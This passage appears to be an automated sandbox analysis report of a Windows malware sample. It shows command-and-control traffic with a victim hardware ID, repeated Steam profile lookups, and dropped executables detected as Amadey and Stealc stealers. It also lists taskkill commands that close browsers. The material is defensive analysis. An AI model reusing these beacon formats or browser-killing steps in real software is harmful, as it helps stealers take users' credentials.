2024-10-23 13:48:17 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 36 39 45 46 37 32 38 45 43 43 38 31 41 44 34 34 30 38 45 41 35 33 37 32 32 42 31 46 39 45 36 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=A69EF728ECC81AD4408EA53722B1F9E6
2024-10-23 13:48:17 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ln9scop370f4k3tc9am7brtgdn; expires=Sun, 16 Feb 2025 07:34:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0CDqZZOVWh6zuk6lis5W6RtbTyEsMMznokMuPJJznoTl9xNZte1KGycWmoEGO03n1OyYdNZuHIil2pNAD5%2FuQX777OwtajnM5cx39dHj94KDye2%2BA6TGhV33NNtB%2FQlWrRaE7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722f107cf06c7a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1227&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2401326&cwnd=251&unsent_bytes=0&cid=9bdd002b0d979fb9&ts=350&x=0"
2024-10-23 13:48:17 UTC	299	IN	Data Raw: 31 32 34 0d 0a 4f 45 43 6c 55 65 34 42 32 69 6f 79 77 4f 5a 37 4c 6a 53 6a 6e 66 67 37 4b 56 42 47 6c 50 31 64 42 77 69 5a 76 43 6c 6d 7a 38 46 6a 4f 34 63 6b 7a 44 76 34 51 6b 61 30 6c 6b 46 79 47 2f 2b 79 79 51 4d 63 66 6e 53 6c 79 48 4d 32 4f 61 71 53 47 46 43 54 37 6c 55 70 79 7a 53 79 4c 71 68 4c 58 4b 53 4a 46 67 42 52 32 2f 6a 61 46 77 73 32 4d 72 62 48 62 53 73 71 2f 4a 34 54 56 72 4c 74 51 32 4c 51 63 39 51 6a 73 6c 35 47 73 4e 77 6e 41 57 69 4d 72 4d 41 4f 42 32 4a 33 6f 64 4e 73 4e 6a 75 33 6a 52 38 36 34 4c 4a 4d 4a 63 51 38 73 69 36 6f 53 31 79 6b 69 52 59 41 55 64 76 34 32 68 63 4c 4e 6a 4b 32 78 32 30 72 4b 76 79 65 45 31 61 79 37 55 4e 69 30 48 50 55 49 37 4a 65 52 72 44 63 4a 77 46 6f 6a 4b 7a 41 44 67 64 69 64 36 48 54 62 44 59 37 74 34 Data Ascii: 124OEClUe4B2ioywOZ7LjSjnfg7KVBGlP1dBwiZvClmz8FjO4ckzDv4Qka0lkFyG/+yyQMcfnSlyHM2OaqSGFCT7lUpyzSyLqhLXKSJFgBR2/jaFws2MrbHbSsq/J4TVrLtQ2LQc9Qjsl5GsNwnAWiMrMAOB2J3odNsNju3jR864LJMJcQ8si6oS1ykiRYAUdv42hcLNjK2x20rKvyeE1ay7UNi0HPUI7JeRrDcJwFojKzADgdid6HTbDY7t4
2024-10-23 13:48:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49988	104.102.49.254	443	7908	C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:49:17 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 13:49:17 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 13:49:17 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=9ec3d07959c524245a527493; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 13:49:17 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 13:49:17 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49993	104.102.49.254	443	652	C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:49:28 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 13:49:29 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 13:49:29 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=5ebdd52ca9f7afc37ef8283d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 13:49:29 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 13:49:29 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	60559	104.102.49.254	443	5604	C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:49:39 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-23 13:49:40 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 23 Oct 2024 13:49:40 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=8630efefa2c9ee7270224a95; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=None
2024-10-23 13:49:40 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-23 13:49:40 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Target ID:	0
Start time:	09:48:02
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5b0000
File size:	2'994'688 bytes
MD5 hash:	DF1B115CEEEB801E6987B690BE5DE396
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:48:20
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe"
Imagebase:	0xde0000
File size:	1'926'656 bytes
MD5 hash:	25F36015A3A69B1E48DDE48C0257C315
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2342431976.0000000000DE1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2254811095.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:48:21
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe"
Imagebase:	0x2d0000
File size:	1'825'792 bytes
MD5 hash:	3A3583CA7503B6EFFBFF20F498F3EBB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2319704443.00000000002D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2279367623.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2320903364.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:48:23
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe"
Imagebase:	0xa30000
File size:	2'850'816 bytes
MD5 hash:	88597591C774A2493FA0AC9983771095
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:48:27
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xfe0000
File size:	1'926'656 bytes
MD5 hash:	25F36015A3A69B1E48DDE48C0257C315
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2321093178.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2361822309.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:49:00
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xfe0000
File size:	1'926'656 bytes
MD5 hash:	25F36015A3A69B1E48DDE48C0257C315
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2646773633.0000000005110000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:49:13
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"
Imagebase:	0xff0000
File size:	2'994'688 bytes
MD5 hash:	DF1B115CEEEB801E6987B690BE5DE396
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:49:22
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe"
Imagebase:	0xe0000
File size:	1'825'792 bytes
MD5 hash:	3A3583CA7503B6EFFBFF20F498F3EBB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2884674962.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2934932135.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:49:24
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"
Imagebase:	0xff0000
File size:	2'994'688 bytes
MD5 hash:	DF1B115CEEEB801E6987B690BE5DE396
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:49:27
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe"
Imagebase:	0xca0000
File size:	919'552 bytes
MD5 hash:	F354EF86B6AD1E5D6BA590A198827066
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:49:28
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:49:28
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:49:30
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:49:31
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x530000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
